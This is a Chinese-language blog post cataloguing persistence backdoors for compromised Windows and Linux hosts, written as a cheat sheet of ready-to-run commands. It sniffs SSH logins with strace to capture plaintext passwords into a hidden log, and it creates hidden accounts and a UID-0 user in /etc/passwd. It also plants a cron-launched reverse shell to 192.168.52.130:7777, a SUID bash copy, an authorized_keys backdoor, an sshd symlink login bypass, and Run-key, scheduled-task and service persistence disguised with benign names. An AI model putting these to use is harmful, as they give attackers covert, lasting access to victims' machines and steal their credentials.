权限维持

Posted by Azeril on July 29, 2024

Strace监听SSH来源流量记录密码后门

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

这里明文200377是我们的密码

image-20240731194147020

//查看进程,可以看出有无开启 strace进程
root@ubuntu:/tmp# ps -ef | grep "strace"
root       2269   1610  9 04:38 pts/0    00:00:32 strace -f -F -p 956 -t -e trace=read,write -s 32
root       2456   2173  0 04:43 pts/0    00:00:00 grep --color=auto strace
root@ubuntu:/tmp# kill -9 2269
root@ubuntu:/tmp# ps -ef | grep "strace"
root       2458   2173  0 04:44 pts/0    00:00:00 grep --color=auto strace
root@ubuntu:/tmp# 

SSH密钥远程登录

制作秘钥对

ssh-keygen   //生成密钥再目录 /root/.ssh/id_rsa

在服务器上安装密钥

克隆账号(一)

隐藏账号

net user hack$ 123456 /add
net user

只能通过

image-20240729233121479

启动项维持后门(二)

添加启动项的方式: 1、组策略 2、启动文件夹 3、注册表

组策略

gpedit.msc,在【计算机配置】->【在Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置

启动文件夹

通过开始菜单——所有程序——启动 这个文件夹内,可以将程序开机自动启动

C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级普通权限

组策略脚本启动文件夹:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

注册表

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administart\Desktop\shell.exe"

windows计划任务(三)

taskschd.msc

1、在每个任意用户登录中以SYSTEM的形式执行计划任务:

schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onlogon /ru System 2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行

schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onidle /i 30 3、在系统启动的时候以SYSTEM的形式执行计划任务:

schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc onstart /ru System 4、计划任务以 System 权限每10分钟运行一次

schtasks /create /tn 计划任务名 /tr “计划任务执行文件命令” /sc minute/mo 10 /ru system

schtasks /create /tn test /sc minute /mo 1 /tr C:\Users\Administart\Desktop\shell.exe /ru system /f

Windows系统-系统服务维持后门(四)

1创建服务
sc create shell start= auto binPath= "C:\shell.exe" obj= Localsystem
2查看服务是否已经创建
services.msc
3修改正常的名称和描述
sc description "shell" "安全"
4启动服务
 net start "服务"

Linux系统-定时任务后门(五)

crontab -u root -r //删除
crontab -u root -l //查看
crontab -u root -e //修改

1、创建反弹shell脚本,vim /etc/.evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.52.130/7777 0>&1

chmod +x /etc/.evil.sh

2、添加计划任务

#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab	

设置定时任务为每分钟执行一次

*/1 * * * * root /etc/.evil.sh #每一分钟执行一次

Linux系统-SUID后门(六)

需要在root用户执行

cp /bin/bash /var/.hack 
chmod 4775 /var/.hack 
ls -al /var/.hack

然后普通用户执行,/var/.hack -p

image-20240730213452258

Linux系统-SSHKey后门(七)

当我们具有写入权限的时候,我们同样可以自行生成密钥,当kali机器第一次生成密钥的时候,并且把公钥放在了你的服务器上面,当你把公钥放在服务器上面的时候,这就意味着他可以正常的解密和加密你发过来的内容,后面你就是通过加解密去认证会话的,并不需要输入密码

生成密钥和查看公钥(kali执行):

ssh-keygen -t rsa 
cd /root/.ssh 
ls
cat id_rsa.pub

将 id_rsa.pub文件中的内容拷贝到目标机器(ubuntu)上并且写入到 authorized_keys这个文件夹下

写入(CentOS执行):

 cd /root/.ssh 
vim authorized_keys

我ubuntu并未配置任何设置

ssh root@192.168.236.133

image-20240730220819846

其实就是ssh通过 authorized_keys 进行的验证,

Linux系统-添加用户后门(八)

添加用户

生成密码 openssl passwd -1 -salt admin 123456 
-1 的意思是使用md5crypt加密算法 
-salt 指定盐为admin 
123456 明文密码

追加命令(UID=0):

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

image-20240730224349961

ssh admin@192.168.52.132 然后密码是明文  123456

Linux-SSH 软连接后门(九)

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功 受害者机器

ln -sf /usr/sbin/sshd /tmp/su 
/tmp/su -oPort=8080
systemctl stop firewalld.service #关闭服务器的防火墙不然连接不上

攻击者

ssh root@192.168.52.132 -p 8080

直接连上 image-20240730230452302

Linux-strace监控流量(十)

strace -f -p 15191 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
 ssh root@127.0.0.1
 ssh jycxk@127.0.0.1

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。